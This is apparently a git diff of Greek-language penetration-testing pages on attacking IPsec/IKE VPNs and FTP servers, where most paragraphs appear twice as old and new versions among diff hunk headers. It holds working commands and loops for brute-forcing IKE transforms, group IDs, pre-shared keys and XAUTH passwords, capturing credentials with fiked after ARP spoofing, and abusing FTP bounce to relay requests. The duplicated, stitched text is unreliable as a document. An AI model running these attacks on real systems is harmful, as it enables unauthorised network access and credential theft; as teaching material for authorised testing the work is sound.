Έτσι, το πρώτο πράγμα που πρέπει να κάνετε είναι να **βρείτε μια έγκυρη μετατροπή**, ώστε ο διακομιστής να επικοινωνήσει μαζί σας. Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το εργαλείο **ike-scan**. Από προεπιλογή, το Ike-scan λειτουργεί σε κύριο τρόπο και στέλνει ένα πακέτο στην πύλη με ένα κεφαλίδα ISAKMP και μια μόνο πρόταση με **οκτώ μετατροπές μέσα σε αυτήν**.
Έτσι, το πρώτο πράγμα που πρέπει να κάνετε είναι να **βρείτε μια έγκυρη μετατροπή**, ώστε ο διακομιστής να επικοινωνήσει μαζί σας. Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το εργαλείο **ike-scan**. Από προεπιλογή, το Ike-scan λειτουργεί σε κύριο τρόπο και στέλνει ένα πακέτο στην πύλη με μια κεφαλίδα ISAKMP και μια μόνο πρόταση με **οκτώ μετατροπές μέσα σε αυτήν**.
Ανάλογα με την απάντηση μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με το σημείο τερματισμού:
Ανάλογα με την απάντηση, μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με το σημείο τερματισμού:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -41,20 +41,20 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Όπως μπορείτε να δείτε στην προηγούμενη απάντηση, υπάρχει ένα πεδίο που ονομάζεται **AUTH** με την τιμή **PSK**. Αυτό σημαίνει ότι το vpn είναι ρυθμισμένο χρησιμοποιώντας ένα προ-μοιρασμένο κλειδί (και αυτό είναι πραγματικά καλό για έναν pentester).\
Όπως μπορείτε να δείτε στην προηγούμενη απάντηση, υπάρχει ένα πεδίο που ονομάζεται **AUTH** με την τιμή **PSK**. Αυτό σημαίνει ότι το vpn είναι ρυθμισμένο χρησιμοποιώντας ένα προμοιρασμένο κλειδί (και αυτό είναι πραγματικά καλό για έναν pentester).\
**Η τιμή της τελευταίας γραμμής είναι επίσης πολύ σημαντική:**
- _0 returned handshake; 0 returned notify:_ Αυτό σημαίνει ότι ο στόχος **δεν είναι πύλη IPsec**.
- _0 returned handshake; 0 returned notify:_ Αυτό σημαίνει ότι ο στόχος είναι **όχι μια πύλη IPsec**.
- _**1 returned handshake; 0 returned notify:**_ Αυτό σημαίνει ότι ο **στόχος είναι ρυθμισμένος για IPsec και είναι πρόθυμος να εκτελέσει διαπραγμάτευση IKE, και είτε μία είτε περισσότερες από τις μετατροπές που προτείνατε είναι αποδεκτές** (μια έγκυρη μετατροπή θα εμφανιστεί στην έξοδο).
- _0 returned handshake; 1 returned notify:_ Οι πύλες VPN απαντούν με ένα μήνυμα ειδοποίησης όταν **κανένας από τους μετασχηματισμούς δεν είναι αποδεκτός** (αν και ορισμένες πύλες δεν το κάνουν, οπότε θα πρέπει να γίνει περαιτέρω ανάλυση και να δοκιμαστεί μια αναθεωρημένη πρόταση).
- _0 returned handshake; 1 returned notify:_ Οι πύλες VPN απαντούν με ένα μήνυμα ειδοποίησης όταν **καμία από τις μετατροπές δεν είναι αποδεκτή** (αν και ορισμένες πύλες δεν το κάνουν, οπότε θα πρέπει να γίνει περαιτέρω ανάλυση και να δοθεί μια αναθεωρημένη πρόταση).
Στη συνέχεια, σε αυτή την περίπτωση έχουμε ήδη μια έγκυρη μετατροπή, αλλά αν βρίσκεστε στην 3η περίπτωση, τότε χρειάζεται να **brute-force λίγο για να βρείτε μια έγκυρη μετατροπή:**
Στη συνέχεια, σε αυτή την περίπτωση έχουμε ήδη μια έγκυρη μετατροπή, αλλά αν βρίσκεστε στην 3η περίπτωση, τότε πρέπει να **brute-force λίγο για να βρείτε μια έγκυρη μετατροπή:**
Πρώτα απ' όλα πρέπει να δημιουργήσετε όλους τους πιθανούς μετασχηματισμούς:
Πρώτα απ 'όλα, πρέπει να δημιουργήσετε όλες τις δυνατές μετατροπές:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
Και στη συνέχεια κάντε brute-force το καθένα χρησιμοποιώντας το ike-scan (αυτό μπορεί να διαρκέσει αρκετά λεπτά):
Και στη συνέχεια κάντε brute-force το καθένα χρησιμοποιώντας ike-scan (αυτό μπορεί να διαρκέσει αρκετά λεπτά):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
@ -62,26 +62,26 @@ while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Ελπίζουμε **μια έγκυρη μετατροπή να επιστραφεί**.\
Μπορείτε να δοκιμάσετε **την ίδια επίθεση** χρησιμοποιώντας [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Ελπίζω **μια έγκυρη μετατροπή να επιστραφεί**.\
Μπορείτε να δοκιμάσετε την **ίδια επίθεση** χρησιμοποιώντας [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Μπορείτε επίσης να προσπαθήσετε να κάνετε brute force μετατροπές με [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../images/image (617).png>)
Στην **Ομάδα DH: 14 = 2048-bit MODP** και **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (σε αυτή την περίπτωση). Η μορφή `--trans` είναι $Enc,$Hash,$Auth,$DH**
In **DH Group: 14 = 2048-bit MODP** and **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (in this case). The `--trans` format is $Enc,$Hash,$Auth,$DH**
Η Cisco υποδεικνύει να αποφεύγεται η χρήση των ομάδων DH 1 και 2 επειδή δεν είναι αρκετά ισχυρές. Οι ειδικοί πιστεύουν ότι **χώρες με πολλούς πόρους μπορούν εύκολα να σπάσουν την κρυπτογράφηση** των δεδομένων που χρησιμοποιούν αυτές τις αδύναμες ομάδες. Αυτό γίνεται χρησιμοποιώντας μια ειδική μέθοδο που τις προετοιμάζει να σπάσουν τους κωδικούς γρήγορα. Παρόλο που κοστίζει πολλά χρήματα για να ρυθμιστεί αυτή η μέθοδος, επιτρέπει σε αυτές τις ισχυρές χώρες να διαβάζουν τα κρυπτογραφημένα δεδομένα σε πραγματικό χρόνο αν χρησιμοποιούν μια ομάδα που δεν είναι ισχυρή (όπως 1.024-bit ή μικρότερη).
### Fingerprinting διακομιστή
### Server fingerprinting
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το ike-scan για να προσπαθήσετε να **ανακαλύψετε τον προμηθευτή** της συσκευής. Το εργαλείο στέλνει μια αρχική πρόταση και σταματά να επαναλαμβάνει. Στη συνέχεια, θα **αναλύσει** τη **διαφορά χρόνου** **μεταξύ** των ληφθέντων **μηνυμάτων** από τον διακομιστή και του αντίστοιχου προτύπου απάντησης, ο pentester μπορεί να αναγνωρίσει με επιτυχία τον προμηθευτή της πύλης VPN. Επιπλέον, μερικοί διακομιστές VPN θα χρησιμοποιήσουν το προαιρετικό **Vendor ID (VID) payload** με το IKE.
**Καθορίστε τη valid μετατροπή αν χρειάζεται** (χρησιμοποιώντας --trans)
**Specify the valid transformation if needed** (using --trans)
Αν το IKE ανακαλύψει ποιος είναι ο προμηθευτής, θα το εκτυπώσει:
If IKE discover which is the vendor it will print it:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -105,12 +105,12 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
## Εύρεση του σωστού ID (όνομα ομάδας)
Για να επιτραπεί η σύλληψη του hash, χρειάζεστε μια έγκυρη μετατροπή που να υποστηρίζει τη λειτουργία Aggressive και το σωστό ID (όνομα ομάδας). Πιθανώς δεν θα γνωρίζετε το έγκυρο όνομα ομάδας, οπότε θα πρέπει να το βρείτε με brute-force.\
Για να επιτραπεί η σύλληψη του hash, χρειάζεστε μια έγκυρη μετατροπή που να υποστηρίζει τη λειτουργία Aggressive και το σωστό ID (όνομα ομάδας). Πιθανώς δεν θα γνωρίζετε το έγκυρο όνομα ομάδας, οπότε θα πρέπει να το δοκιμάσετε με brute-force.\
Για να το κάνετε αυτό, θα σας πρότεινα 2 μεθόδους:
### Bruteforcing ID με ike-scan
Πρώτα απ' όλα, προσπαθήστε να κάνετε ένα αίτημα με ένα ψεύτικο ID προσπαθώντας να συγκεντρώσετε το hash ("-P"):
Πρώτα απ 'όλα, προσπαθήστε να κάνετε ένα αίτημα με ένα ψεύτικο ID προσπαθώντας να συγκεντρώσετε το hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
@ -120,7 +120,7 @@ ike-scan -P -M -A -n fakeID <IP>
Αλλά αν, όπως είπα, δεν επιστραφεί κανένας hash, τότε θα πρέπει να προσπαθήσετε να κάνετε brute-force κοινών ονομάτων ομάδων χρησιμοποιώντας το ike-scan.
Αυτό το σενάριο **θα προσπαθήσει να κάνει brute-force πιθανές ταυτότητες** και θα επιστρέψει τις ταυτότητες όπου επιστρέφεται μια έγκυρη χειραψία (αυτό θα είναι ένα έγκυρο όνομα ομάδας).
Αυτό το σενάριο **θα προσπαθήσει να κάνει brute-force πιθανές ταυτότητες** και θα επιστρέψει τις ταυτότητες όπου επιστρέφει μια έγκυρη χειραψία (αυτό θα είναι ένα έγκυρο όνομα ομάδας).
Αν έχετε ανακαλύψει μια συγκεκριμένη μετατροπή, προσθέστε την στην εντολή ike-scan. Και αν έχετε ανακαλύψει πολλές μετατροπές, μη διστάσετε να προσθέσετε έναν νέο βρόχο για να τις δοκιμάσετε όλες (θα πρέπει να τις δοκιμάσετε όλες μέχρι να λειτουργήσει σωστά μία από αυτές).
@ -128,22 +128,26 @@ ike-scan -P -M -A -n fakeID <IP>
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
{% file src="../images/vpnIDs.txt" %}
Or use this dict (is a combination of the other 2 dicts without repetitions):
### Bruteforcing ID με Iker
{{#file}}
vpnIDs.txt
{{#endfile}}
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) χρησιμοποιεί επίσης **ike-scan** για να κάνει bruteforce πιθανούς ονόματα ομάδων. Ακολουθεί τη δική του μέθοδο για να **βρει μια έγκυρη ταυτότητα με βάση την έξοδο του ike-scan**.
### Bruteforcing ID with Iker
### Bruteforcing ID με ikeforce
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) χρησιμοποιεί επίσης το **ike-scan** για να κάνει bruteforce πιθανούς ονόματα ομάδων. Ακολουθεί τη δική του μέθοδο για να **βρει μια έγκυρη ταυτότητα με βάση την έξοδο του ike-scan**.
### Bruteforcing ID with ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) είναι ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να **brute force IDs επίσης**. Αυτό το εργαλείο θα **προσπαθήσει να εκμεταλλευτεί διάφορες ευπάθειες** που θα μπορούσαν να χρησιμοποιηθούν για να **διακρίνουν μεταξύ μιας έγκυρης και μιας μη έγκυρης ταυτότητας** (μπορεί να έχει ψευδώς θετικά και ψευδώς αρνητικά, γι' αυτό προτιμώ να χρησιμοποιώ τη μέθοδο ike-scan αν είναι δυνατόν).
Από προεπιλογή, το **ikeforce** θα στείλει στην αρχή μερικές τυχαίες ταυτότητες για να ελέγξει τη συμπεριφορά του διακομιστή και να καθορίσει την τακτική που θα χρησιμοποιήσει.
- Η **πρώτη μέθοδος** είναι να κάνει brute-force τα ονόματα ομάδων αναζητώντας τις πληροφορίες **Dead Peer Detection DPD** των συστημάτων Cisco (αυτές οι πληροφορίες επαναλαμβάνονται μόνο από το διακομιστή αν το όνομα της ομάδας είναι σωστό).
- Η **πρώτη μέθοδος** είναι να κάνει brute-force τα ονόματα ομάδων αναζητώντας τις πληροφορίες **Dead Peer Detection DPD** των συστημάτων Cisco (αυτές οι πληροφορίες επαναλαμβάνονται μόνο από τον διακομιστή αν το όνομα της ομάδας είναι σωστό).
- Η **δεύτερη μέθοδος** που είναι διαθέσιμη είναι να **ελέγχει τον αριθμό των απαντήσεων που αποστέλλονται σε κάθε προσπάθεια** γιατί μερικές φορές αποστέλλονται περισσότερα πακέτα όταν χρησιμοποιείται η σωστή ταυτότητα.
- Η **τρίτη μέθοδος** συνίσταται στην **αναζήτηση του "INVALID-ID-INFORMATION" ως απάντηση σε λανθασμένη ταυτότητα**.
- Τέλος, αν ο διακομιστής δεν επαναλάβει τίποτα στους ελέγχους, το **ikeforce** θα προσπαθήσει να κάνει brute force το διακομιστή και να ελέγξει αν όταν αποστέλλεται η σωστή ταυτότητα, ο διακομιστής επαναλαμβάνει με κάποιο πακέτο.\
- Τέλος, αν ο διακομιστής δεν επαναλάβει τίποτα στις ελέγχους, το **ikeforce** θα προσπαθήσει να κάνει brute force τον διακομιστή και να ελέγξει αν όταν αποστέλλεται η σωστή ταυτότητα, ο διακομιστής επαναλαμβάνει με κάποιο πακέτο.\
Προφανώς, ο στόχος του brute forcing της ταυτότητας είναι να αποκτήσετε το **PSK** όταν έχετε μια έγκυρη ταυτότητα. Στη συνέχεια, με την **ταυτότητα** και το **PSK** θα πρέπει να κάνετε bruteforce το XAUTH (αν είναι ενεργοποιημένο).
Αν έχετε ανακαλύψει μια συγκεκριμένη μετατροπή, προσθέστε την στην εντολή ikeforce. Και αν έχετε ανακαλύψει πολλές μετατροπές, μη διστάσετε να προσθέσετε έναν νέο βρόχο για να τις δοκιμάσετε όλες (θα πρέπει να τις δοκιμάσετε όλες μέχρι να λειτουργήσει σωστά μία από αυτές).
@ -157,7 +161,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
### Sniffing ID
(Από το βιβλίο **Network Security Assessment: Know Your Network**): Είναι επίσης δυνατό να αποκτήσετε έγκυρα ονόματα χρηστών παρακολουθώντας τη σύνδεση μεταξύ του VPN client και του server, καθώς το πρώτο πακέτο του επιθετικού τρόπου που περιέχει το client ID αποστέλλεται σε καθαρή μορφή.
(Από το βιβλίο **Network Security Assessment: Know Your Network**): Είναι επίσης δυνατό να αποκτήσετε έγκυρα ονόματα χρηστών με την υποκλοπή της σύνδεσης μεταξύ του VPN client και του server, καθώς το πρώτο πακέτο του επιθετικού τρόπου που περιέχει το client ID αποστέλλεται σε καθαρή μορφή.
![](<../images/image (891).png>)
@ -175,21 +179,21 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Ο επιθετικός τρόπος IKE** σε συνδυασμό με ένα **Προ-Κοινό Κλειδί (PSK)** χρησιμοποιείται συνήθως για σκοπούς **ομαδικής πιστοποίησης**. Αυτή η μέθοδος ενισχύεται από το **XAuth (Εκτεταμένη Πιστοποίηση)**, το οποίο εισάγει ένα επιπλέον επίπεδο **πιστοποίησης χρήστη**. Αυτή η πιστοποίηση συνήθως εκμεταλλεύεται υπηρεσίες όπως το **Microsoft Active Directory**, **RADIUS**, ή συγκρίσιμα συστήματα.
**Aggressive mode IKE** σε συνδυασμό με ένα **Pre-Shared Key (PSK)** χρησιμοποιείται συνήθως για σκοπούς **ομαδικής αυθεντικοποίησης**. Αυτή η μέθοδος ενισχύεται από το **XAuth (Extended Authentication)**, το οποίο εισάγει μια επιπλέον στρώση **αυθεντικοποίησης χρήστη**. Αυτή η αυθεντικοποίηση συνήθως εκμεταλλεύεται υπηρεσίες όπως το **Microsoft Active Directory**, **RADIUS**, ή συγκρίσιμα συστήματα.
Με τη μετάβαση στο **IKEv2**, παρατηρείται μια σημαντική αλλαγή όπου το **EAP (Επεκτάσιμη Πιστοποίηση Πρωτοκόλλου)** χρησιμοποιείται αντί του **XAuth** για την πιστοποίηση χρηστών. Αυτή η αλλαγή υπογραμμίζει μια εξέλιξη στις πρακτικές πιστοποίησης εντός των ασφαλών πρωτοκόλλων επικοινωνίας.
Με τη μετάβαση στο **IKEv2**, παρατηρείται μια σημαντική αλλαγή όπου το **EAP (Extensible Authentication Protocol)** χρησιμοποιείται αντί του **XAuth** για την αυθεντικοποίηση χρηστών. Αυτή η αλλαγή υπογραμμίζει μια εξέλιξη στις πρακτικές αυθεντικοποίησης εντός των ασφαλών πρωτοκόλλων επικοινωνίας.
### Τοπικό δίκτυο MitM για την καταγραφή διαπιστευτηρίων
### Local network MitM to capture credentials
Έτσι μπορείτε να καταγράψετε τα δεδομένα της σύνδεσης χρησιμοποιώντας _fiked_ και να δείτε αν υπάρχει κάποιο προεπιλεγμένο όνομα χρήστη (Πρέπει να ανακατευθύνετε την κίνηση IKE στο `fiked` για καταγραφή, κάτι που μπορεί να γίνει με τη βοήθεια του ARP spoofing, [περισσότερες πληροφορίες](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Το Fiked θα λειτουργήσει ως σημείο τερματισμού VPN και θα καταγράψει τα διαπιστευτήρια XAuth:
Έτσι μπορείτε να καταγράψετε τα δεδομένα της σύνδεσης χρησιμοποιώντας _fiked_ και να δείτε αν υπάρχει κάποιο προεπιλεγμένο όνομα χρήστη (Πρέπει να ανακατευθύνετε την κίνηση IKE στο `fiked` για sniffing, κάτι που μπορεί να γίνει με τη βοήθεια του ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Το Fiked θα λειτουργήσει ως σημείο τερματισμού VPN και θα καταγράψει τα διαπιστευτήρια XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Επίσης, χρησιμοποιώντας το IPSec προσπαθήστε να κάνετε μια επίθεση MitM και να μπλοκάρετε όλη την κίνηση στη θύρα 500, αν το IPSec tunnel δεν μπορεί να εγκατασταθεί ίσως η κίνηση θα σταλεί σε καθαρή μορφή.
Επίσης, χρησιμοποιώντας το IPSec προσπαθήστε να κάνετε μια επίθεση MitM και να μπλοκάρετε όλη την κίνηση προς την πόρτα 500, αν η σήραγγα IPSec δεν μπορεί να δημιουργηθεί ίσως η κίνηση θα σταλεί σε καθαρή μορφή.
### Brute-forcing XAUTH username ad password with ikeforce
Για να κάνετε brute force το **XAUTH** (όταν γνωρίζετε ένα έγκυρο όνομα ομάδας **id** και το **psk**) μπορείτε να χρησιμοποιήσετε ένα όνομα χρήστη ή λίστα ονομάτων χρηστών και μια λίστα κωδικών πρόσβασης:
Για να κάνετε brute force το **XAUTH** (όταν γνωρίζετε ένα έγκυρο όνομα ομάδας **id** και το **psk**) μπορείτε να χρησιμοποιήσετε ένα όνομα χρήστη ή μια λίστα ονομάτων χρηστών και μια λίστα κωδικών πρόσβασης:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
@ -197,9 +201,9 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Αν βρείτε έναν ή περισσότερους έγκυρους μετασχηματισμούς, απλά χρησιμοποιήστε τους όπως στα προηγούμενα βήματα.
## Αυθεντικοποίηση με ένα IPSEC VPN
## Αυθεντικοποίηση με IPSEC VPN
Στο Kali, το **VPNC** χρησιμοποιείται για τη δημιουργία IPsec tunnels. Τα **προφίλ** πρέπει να βρίσκονται στον κατάλογο `/etc/vpnc/`. Μπορείτε να ξεκινήσετε αυτά τα προφίλ χρησιμοποιώντας την εντολή _**vpnc**_.
Στο Kali, το **VPNC** χρησιμοποιείται για τη δημιουργία IPsec tunnels. Τα **profiles** πρέπει να βρίσκονται στον κατάλογο `/etc/vpnc/`. Μπορείτε να ξεκινήσετε αυτά τα profiles χρησιμοποιώντας την εντολή _**vpnc**_.
Οι παρακάτω εντολές και ρυθμίσεις απεικονίζουν τη διαδικασία ρύθμισης μιας σύνδεσης VPN με το VPNC:
```bash

View File

@ -4,8 +4,8 @@
## Basic Information
Το **File Transfer Protocol (FTP)** λειτουργεί ως πρότυπο πρωτόκολλο για τη μεταφορά αρχείων μέσω ενός υπολογιστικού δικτύου μεταξύ ενός διακομιστή και ενός πελάτη.\
Είναι ένα **plain-text** πρωτόκολλο που χρησιμοποιεί ως **new line character `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **connect using `telnet`** ή **`nc -C`**.
Το **File Transfer Protocol (FTP)** χρησιμεύει ως πρότυπο πρωτόκολλο για τη μεταφορά αρχείων μέσω ενός υπολογιστικού δικτύου μεταξύ ενός διακομιστή και ενός πελάτη.\
Είναι ένα **plain-text** πρωτόκολλο που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας `telnet`** ή **`nc -C`**.
**Default Port:** 21
```
@ -14,11 +14,11 @@ PORT STATE SERVICE
```
### Συνδέσεις Ενεργές & Παθητικές
Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του στην θύρα εντολών του FTP Server θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** στη συνέχεια **ξεκινά** τη σύνδεση δεδομένων, από **τη θύρα του M στη θύρα N+1** του FTP Client.
Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του στην θύρα εντολών του FTP Server θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** τότε **ξεκινά** τη σύνδεση δεδομένων, από **την θύρα M του στην θύρα N+1** του FTP Client.
Αλλά, αν ο FTP Client έχει ρυθμισμένο ένα τείχος προστασίας που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από το εξωτερικό, τότε το active FTP μπορεί να είναι πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Passive FTP.
Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από τη θύρα N του στη θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server στη συνέχεια στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **τη θύρα P του στη θύρα M** του FTP Server.
Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από την θύρα N του στην θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server τότε στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **την θύρα P του στην θύρα M** του FTP Server.
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -105,7 +105,7 @@ ftp <IP>
### Automated
Οι έλεγχοι ανώνυμης σύνδεσης και bounce FTP εκτελούνται από προεπιλογή από το nmap με την επιλογή **-sC** ή:
Anon login και έλεγχοι bounce FTP εκτελούνται από προεπιλογή από το nmap με την επιλογή **-sC** ή:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -131,16 +131,16 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται
- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με τη διεύθυνση IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε δεκαεξαδικό_).
- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με τη διεύθυνση IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε δεκαεξαδικό_).
- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
- **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο
- **`LIST -R`** Λίστα αναδρομικά (αν επιτρέπεται από τον διακομιστή)
- **`APPE /path/something.txt`** Αυτό θα υποδείξει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια **παθητική** σύνδεση ή από μια **PORT/EPRT** σύνδεση σε ένα αρχείο. Αν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα.
- **`STOR /path/something.txt`** Όπως το `APPE` αλλά θα αντικαταστήσει τα αρχεία
- **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα.
- **`RETR /path/to/file`** Πρέπει να έχει δημιουργηθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης
- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας `RETR` θα πρέπει να ξεκινήσει από το 6ο byte.
- **`TYPE i`** Ορίστε τη μεταφορά σε δυαδική
- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει από το 6ο byte.
- **`TYPE i`** Ρυθμίστε τη μεταφορά σε δυαδική
- **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί
- **`PUT /tmp/file.txt`** Ανεβάστε το υποδεικνυόμενο αρχείο στον FTP
@ -152,10 +152,10 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
[**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md)
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο διακομιστή HTTP** (_ίσως για να προσθέσετε έναν νέο διαχειριστή χρήστη;_) ή ακόμα και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή χρήστη;_) ή ακόμα και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\
Η θεωρία είναι απλή:
1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο διακομιστή HTTP ή FTP πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο έπρεπε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
3. **Χρησιμοποιήστε `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία**
4. **Χρησιμοποιήστε `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.**
